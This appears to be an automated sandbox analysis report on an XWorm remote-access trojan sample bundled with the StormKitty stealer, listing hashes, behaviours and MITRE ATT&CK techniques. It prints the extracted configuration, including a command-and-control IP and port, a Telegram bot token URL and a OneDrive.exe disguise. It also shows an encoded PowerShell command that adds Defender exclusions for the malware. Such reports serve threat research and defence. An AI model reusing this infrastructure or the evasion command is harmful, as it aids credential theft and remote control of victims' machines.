Analysis
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max time kernel
143s -
max time network
141s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
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submitted
16-10-2024 22:21
General
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Target
1b99f0bf9216a89b8320e63cbd18a292.exe
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Size
1.3MB
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MD5
1b99f0bf9216a89b8320e63cbd18a292
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SHA1
6a199cb43cb4f808183918ddb6eadc760f7cb680
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SHA256
5275e3db6276e5f0b85eff0c7b0282f56268646766b1566ba8f797e6ba2a9357
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SHA512
02b7f410c6ccfd7d43159287424916a310b7e82c91cdb85eaeade16cf5614265a8bdcce8e6dcc2240ea54930cfb190f26ada3d5c926b50617a9826197f9cf382
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SSDEEP
24576:J64p16BppRskYGC/cJUE7P6nxhpBaTn+CC6YtGz:JzpEBrRb4MonrpATDcUz
Malware Config
Extracted
xworm
5.0
104.219.239.11:6969
QMHDjhLW52nOcp4a
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Install_directory
%AppData%
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install_file
OneDrive.exe
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telegram
https://api.telegram.org/bot5372344229:AAEM46DF5hWBLPbN5UErJaoJvlNvm-ZJXyg
Signatures
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Contains code to disable Windows Defender 1 IoCs
A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.
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Detect Xworm Payload 3 IoCs
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StormKitty
StormKitty is an open source info stealer written in C#.
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StormKitty payload 1 IoCs
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Xworm
Xworm is a remote access trojan written in C#.
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Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
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Executes dropped EXE 1 IoCs
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Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Adds Run key to start application 2 TTPs 1 IoCs
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Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
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Browser Information Discovery 1 TTPs
Enumerate browser information.
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious behavior: EnumeratesProcesses 2 IoCs
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Suspicious use of AdjustPrivilegeToken 5 IoCs
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Suspicious use of WriteProcessMemory 4 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\1b99f0bf9216a89b8320e63cbd18a292.exe"C:\Users\Admin\AppData\Local\Temp\1b99f0bf9216a89b8320e63cbd18a292.exe"1⤵
- Checks computer location settings
- Adds Run key to start application
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAMQBiADkAOQBmADAAYgBmADkAMgAxADYAYQA4ADkAYgA4ADMAMgAwAGUANgAzAGMAYgBkADEAOABhADIAOQAyAC4AZQB4AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIABDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcADEAYgA5ADkAZgAwAGIAZgA5ADIAMQA2AGEAOAA5AGIAOAAzADIAMABlADYAMwBjAGIAZAAxADgAYQAyADkAMgAuAGUAeABlADsAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAGQAbwBjAHUAbQBlAG4AdABzAFwATwBuAGUARAByAGkAdgBlAC4AZQB4AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIABDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABkAG8AYwB1AG0AZQBuAHQAcwBcAE8AbgBlAEQAcgBpAHYAZQAuAGUAeABlAA==2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Users\Admin\AppData\Local\Temp\xnbukd.exe"C:\Users\Admin\AppData\Local\Temp\xnbukd.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
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Network
MITRE ATT&CK Enterprise v15
Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
146KB
MD534fb99630bab94b3cbf92c1c6dec493f
SHA1d6cc3d729e7971f7144f902d482f723ddd77cad8
SHA256f2e2e2e4b066e98a05012853f4fabf37e04b9c5dc18d8341cc98b145f9a7f12a
SHA51262bfc6a7fb0d895907da815859e7d118b16de33111210443a745b0cb9d11db82bd0531efef8503266c1269a037153794ea52bc2ce70a127389fce0e5ac4d9fcf
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Filesize
168KB
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Filesize
1.0MB
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Filesize
1.0MB
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Filesize
1.0MB
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Filesize
1.0MB
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Filesize
1.0MB
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Filesize
1.0MB
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Filesize
1.0MB
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Filesize
1.0MB
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Filesize
1.0MB
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Filesize
1.0MB
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Filesize
1.0MB
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Filesize
1.0MB
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Filesize
1.0MB
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Filesize
1.0MB
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Filesize
1.0MB
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Filesize
1.0MB
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Filesize
1.0MB
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Filesize
1.0MB
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Filesize
1.0MB
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Filesize
1.0MB
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Filesize
1.0MB
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Filesize
1.0MB
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Filesize
1.0MB
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Filesize
1.0MB
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Filesize
1.0MB
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Filesize
1.0MB
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Filesize
1.0MB
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Filesize
2.0MB
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Filesize
1.0MB
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Filesize
1.0MB
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Filesize
1.0MB
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Filesize
1.0MB
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Filesize
1.0MB
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Filesize
1.0MB
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Filesize
1.0MB
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Filesize
2.0MB
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Filesize
512KB
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Filesize
304KB
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Filesize
2.0MB
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Filesize
2.0MB
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Filesize
2.0MB
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Filesize
336KB
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Filesize
176KB
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Filesize
2.0MB
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Filesize
2.0MB
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Filesize
2.0MB
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Filesize
2.0MB
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Filesize
2.0MB
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Filesize
2.0MB
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Filesize
56KB
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Filesize
2.0MB
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Filesize
1.3MB
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Filesize
1.1MB
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Filesize
2.0MB
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Filesize
2.0MB
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Filesize
2.0MB
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Filesize
2.0MB
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Filesize
136KB
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Filesize
2.0MB